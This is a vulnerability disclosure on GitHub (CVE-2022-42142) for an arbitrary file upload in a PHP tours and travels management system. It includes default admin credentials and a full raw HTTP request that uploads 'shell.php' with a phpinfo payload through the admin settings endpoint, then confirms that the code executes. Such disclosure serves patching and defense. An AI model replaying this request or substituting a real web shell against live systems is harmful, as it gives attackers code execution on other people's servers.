CVE-2022-42142: bug_report/RCE-1.md at main · xd201qaz/bug_report

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Online Tours & Travels Management System v1.0 by mayuri_k has arbitrary code execution (RCE)

BUG_Author: XD201-MENG@QI

vendors: https://www.sourcecodester.com/php/14510/online-tours-travels-management-system-project-using-php-and-mysql.html

The program is built using the xmapp-php8.1 version

Login account: [email protected]/admin (Super Admin account)

Vulnerability url: ip/tour/admin/operations/update_settings.php

Loophole location: Online Tours & Travels management system’s admin/settings.php file exists arbitrary file upload (RCE)

Request package for file upload:

POST /tour/admin/operations/update_settings.php?id=2 HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.1.19/tour/admin/settings.php Cookie: PHPSESSID=g29omi7f91g3h7ud1uhq6rbmkv Connection: close Content-Type: multipart/form-data; boundary=---------------------------248921847826758 Content-Length: 1288 -----------------------------248921847826758 Content-Disposition: form-data; name="title" Tours and Travels -----------------------------248921847826758 Content-Disposition: form-data; name="f_image"; filename="" Content-Type: application/octet-stream -----------------------------248921847826758 Content-Disposition: form-data; name="old_img" favi.png -----------------------------248921847826758 Content-Disposition: form-data; name="logo_image"; filename="shell.php" Content-Type: application/octet-stream JFJF <?php phpinfo();?> -----------------------------248921847826758 Content-Disposition: form-data; name="old_img1" logo_by NB.png -----------------------------248921847826758 Content-Disposition: form-data; name="login_image"; filename="" Content-Type: application/octet-stream -----------------------------248921847826758 Content-Disposition: form-data; name="old_img2" logo_by NB.png -----------------------------248921847826758 Content-Disposition: form-data; name="currency" 1 -----------------------------248921847826758 Content-Disposition: form-data; name="footer" Nikhil B -----------------------------248921847826758 Content-Disposition: form-data; name="update" -----------------------------248921847826758–

The files will be uploaded to this directory \tour\admin\settings

We visited the directory of the file in the browser and found that the code had been executed